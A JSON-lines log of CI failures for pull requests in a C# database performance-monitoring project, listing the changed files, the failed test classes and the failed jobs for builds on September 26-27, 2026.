+{"date":"2026-09-26","head_sha":"e51642f32a5ad0988c7642887b17933d93dccd58","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionHoldRatioKnobRungTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.NotificationRoutingTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"63ba0d2893cf51906e9d40d05cf8592f8a84733e","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLoggingAuditTools.cs"],"failed_classes":["PerformanceMonitorLite.Tests.DuckDbSentinelConnectionTests"],"failed_jobs":["Lite tests (0)"]}
+{"date":"2026-09-26","head_sha":"dbbaa4a52050d5cbdb9c9c0678523fd6dbfc42a8","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionHoldRatioKnobRungTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.QueryStoreIntervalWideGridLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"f526e44a7ad05ae3bd5c2df57952605a74664578","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs"],"failed_classes":["Darling.Tests.AnalysisPassTokenThreadingTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"76d20735c22f07203c5c30ab5669c1a09a5bb810","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisPassTokenThreadingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs"],"failed_classes":["Darling.Tests.AnalysisPassTokenThreadingTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"cac3ede73b6e4e207379f8f7b04bb5f4f180f8af","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeConvergeLiveTests.cs","Darling/Darling.Tests/RawPurgeTriggerGateErrorTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionHoldRatioKnobRungTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","PerformanceMonitorLite.Tests.AnalysisPassTokenThreadingTests"],"failed_jobs":["Darling PG tests (1)","Lite tests (3)","build"]}
+{"date":"2026-09-26","head_sha":"ea3d63c3e6a41686595c95a7e58bfb1318b3f359","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeConvergeLiveTests.cs","Darling/Darling.Tests/RawPurgeTriggerGateErrorTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionHoldRatioKnobRungTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingSelfAlertTests","Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"c59e13654b1548c9e6206fedfeb974eb602c4438","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs"],"failed_classes":["Darling.Tests.ManagedConfFileLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"a6d62e93a3eb04e679da71abc11e6b0949e1087e","event":"pull_request","changed_files":["Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"],"failed_classes":["Darling.Tests.PayloadDimensionLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"1f9857239bd6da26bf10b03058a95a38154f9950","event":"pull_request","changed_files":["Darling/Darling.Tests/RawGatePerSlotSourceFloorLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests","Darling.Tests.TimescaleSupportTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"01d4c7dba1714a5b5ecb12ef3da6412c87f8aead","event":"pull_request","changed_files":["Darling/Darling.Tests/PayloadDimensionLiveTests.cs","Darling/Darling.Tests/RawPurgeNowWiringTests.cs","Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"3493474200ee277b82be8a9cefd1e4cd32b54374","event":"pull_request","changed_files":["Darling/Darling.Tests/PayloadDimensionLiveTests.cs","Darling/Darling.Tests/RawPurgeNowWiringTests.cs","Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"dae420ebe034fbcd2b8291248972ee03b08dd73e","event":"pull_request","changed_files":["Darling/Darling.Tests/PgStatementStatsRowCoherentResetTests.cs","PerformanceMonitor.Collectors/CollectorDeltaCalculator.cs","PerformanceMonitor.Collectors/ICollectorDeltaCalculator.cs","PerformanceMonitor.Collectors/PgStatementStatsCollector.cs"],"failed_classes":["Lite.Tests.PgStatementStatsDeltaSkipTests","Lite.Tests.PgStatementStatsFlavorTests","Lite.Tests.ServerEpochTests"],"failed_jobs":["Lite tests (1)","Lite tests (0)"]}
+{"date":"2026-09-26","head_sha":"3b2d41baaeecc4319df0c8e9344423504bd5a2fa","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfUpgradePathTests.cs","Darling/Darling.Tests/ManagedPreloadAssert.cs"],"failed_classes":["Darling.Tests.QueryStoreIntervalWideGridLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"3a0df25e8e52fbe9c0c23a8199c9e100ff1ff355","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeStatementTimeoutReloadTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutStoreTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs","Darling/Darling.Tests/ComposeStoreRolesLiveTests.cs","Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DocCommentHygieneTests.cs","Darling/Darling.Tests/McpReadCommandTimeoutTests.cs","Darling/Darling.Tests/PairedClientDeadlinesTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.ComposeStoreRolesLiveTests","Darling.Tests.DarlingStoreLoginsTests","Darling.Tests.ManagedConfVerdictsRungTests","Darling.Tests.MigrationDataMovingRungCensusPins","Darling.Tests.StorageCommandTimeoutTests","Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"6d64a5690e0fb888332d01effb3e5cdf373bc51b","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeStatementTimeoutReloadTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutStoreTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs","Darling/Darling.Tests/ComposeStoreRolesLiveTests.cs","Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingStoreLoginsTests.cs","Darling/Darling.Tests/DocCommentHygieneTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/McpReadCommandTimeoutTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PairedClientDeadlinesTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.ComposeStoreRolesLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"57e73f1ed5b05395c6f94a66145c68307384d6a0","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/ReadLatencyAccumulatorTests.cs","Darling/Darling.Tests/ReadLatencyFlushLiveTests.cs","Darling/Darling.Tests/ReadLatencyPercentilesTests.cs","Darling/Darling.Tests/ReadLatencyWebRecordingTests.cs","Darling/Darling.Tests/ReadOutcomeClassifierTests.cs","Darling/Darling.Tests/ScheduledPurgeLaunchTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs","Darling/PerformanceMonitor.Darling.Service/ReadLatencyPercentiles.cs","Darling/PerformanceMonitor.Darling.Service/ReadOutcomeClassifier.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.SharedBaselineCacheTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"a9e36ec7251c2b904e463fe38cd1a13cab458592","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/ReadLatencyAccumulatorTests.cs","Darling/Darling.Tests/ReadLatencyFlushLiveTests.cs","Darling/Darling.Tests/ReadLatencyPercentilesTests.cs","Darling/Darling.Tests/ReadLatencyWebRecordingTests.cs","Darling/Darling.Tests/ReadOutcomeClassifierTests.cs","Darling/Darling.Tests/ScheduledPurgeLaunchTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs","Darling/PerformanceMonitor.Darling.Service/ReadLatencyPercentiles.cs","Darling/PerformanceMonitor.Darling.Service/ReadOutcomeClassifier.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["Darling PG tests (2)","build"]}
+{"date":"2026-09-26","head_sha":"a4218e75adf8a7ab18fcaa51e7e0e8246a831bf5","event":"pull_request","changed_files":["Darling/Darling.Tests/GetReadLatencyLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreLogins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpReadLatencyTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs"],"failed_classes":["Darling.Tests.AsOfWindowAnchorTests","Darling.Tests.McpToolTypeRegistrationTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)","Lite tests (1)"]}
+{"date":"2026-09-26","head_sha":"abb3f9b719ea0e6ebdf36f167c2bfc735b457aec","event":"pull_request","changed_files":["Darling/Darling.Tests/AsOfWindowAnchorTests.cs","Darling/Darling.Tests/GetReadLatencyLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreLogins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpReadLatencyTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingMcpInstructionsBudgetTests","Darling.Tests.McpToolsListBudgetTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (1)"]}
+{"date":"2026-09-27","head_sha":"6082b10647e46b2d13b2ef2e3d34db0e0bdb5ce5","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs","Darling/Darling.Tests/Fixtures/SystemHealth/scheduler_monitor.xml","Darling/Darling.Tests/Fixtures/SystemHealth/scheduler_monitor_high_sql_cpu.xml","Darling/Darling.Tests/Fixtures/SystemHealth/scheduler_monitor_low_memory.xml","Darling/Darling.Tests/Fixtures/SystemHealth/scheduler_monitor_normal.xml","Darling/Darling.Tests/Fixtures/SystemHealth/scheduler_monitor_other_process_cpu.xml","Darling/Darling.Tests/McpToolGuideHeads.HealthParser.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpHealthParserTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/SystemHealthParserTests.cs","Darling/Darling.Tests/ViewerSystemEventsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite.Tests/Fixtures/SystemHealth/scheduler_monitor.xml","Lite.Tests/Fixtures/SystemHealth/scheduler_monitor_high_sql_cpu.xml","Lite.Tests/Fixtures/SystemHealth/scheduler_monitor_low_memory.xml","Lite.Tests/Fixtures/SystemHealth/scheduler_monitor_normal.xml","Lite.Tests/Fixtures/SystemHealth/scheduler_monitor_other_process_cpu.xml","Lite.Tests/McpToolGuideHeads.HealthParser.cs","Lite.Tests/McpToolsListBudget/McpHealthParserTools.txt","Lite.Tests/SystemEventsReaderTests.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpHealthParserTools.cs","Lite/Services/LocalDataService.SystemEvents.cs","PerformanceMonitor.Common/SystemHealthModels.cs","PerformanceMonitor.Common/SystemHealthParser.cs","PerformanceMonitor.Common/SystemHealthSignificance.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests","Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["Darling PG tests (1)","Lite tests (2)","build"]}
+{"date":"2026-09-27","head_sha":"27585711ab90f5c6791ba82c5b0da8842cd9a850","event":"pull_request","changed_files":[".github/workflows/build.yml","Darling/Darling.Tests/SignPathActionVersionTests.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)","Darling whole-tree guards"]}
+{"date":"2026-09-27","head_sha":"f685b99b7b96260597277556e13b2a6771824139","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAgToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpAgTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs"],"failed_classes":["Darling.Tests.McpPayloadContractCensusTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-27","head_sha":"dbd970fb8d61ae8b750ef2028c954dec41c24dce","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAgToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpAgTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"da12c872e58696acff61f0741a8c54a5f0bcc384","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs","Darling/Darling.Tests/DarlingWatermarkFloorScanBoundLiveTests.cs","Darling/Darling.Tests/DarlingWatermarkSeedLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"],"failed_classes":["Darling.Tests.DarlingWatermarkFloorPlanShapeLiveTests","Darling.Tests.DarlingWatermarkFloorScanBoundLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"b3f2fb8f8d002093f57ac58f6f89832e2db58f6e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAgReaderTests.cs","Darling/Darling.Tests/FactAdvicePluralTests.cs","Darling/Darling.Tests/FactAdvicePluralWiringTests.cs","Darling/Darling.Tests/JobHistoryCapLabelTests.cs","Darling/Darling.Tests/ViewerAvailabilityGroupsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Common/AgTopology.cs","PerformanceMonitor.Common/JobHistoryCap.cs"],"failed_classes":["Darling.Tests.AgTopologyCardsTests","Lite.Tests.AgTopologyTests"],"failed_jobs":["build","Lite tests (0)","Darling PG tests (2)"]}
+{"date":"2026-09-27","head_sha":"5a0dfb2b9b12c9f7cea0832b00d2bd020f072f4c","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerStatus.cs","PerformanceMonitor.Common/SingleFlightTtlCache.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","Darling.Tests.OverviewFleetHealthSingleFlightLiveTests","Darling.Tests.SingleFlightTtlCacheTests","Darling.Tests.StoreSizeCacheLiveTests","Darling.Tests.WaitRateTileReadCountLiveTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"b36f267897e8c58f97b3a865aa6416ca9223ba6a","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreApplicationNameCensusTests.cs","Darling/Darling.Tests/StoreApplicationNamePinTests.cs","Darling/Darling.Tests/ViewerApplicationNameLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingStoreConnection.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerSettings.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-27","head_sha":"84a49674a9e3b2c46e708a219468f68e6c6f5e5a","event":"pull_request","changed_files":["Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs","Lite/Controls/JobHistoryTab.xaml","Lite/Controls/JobHistoryTab.xaml.cs"],"failed_classes":["Darling.Tests.ScopedLoadOrderingTests"],"failed_jobs":["Darling PG tests (2)","build"]}
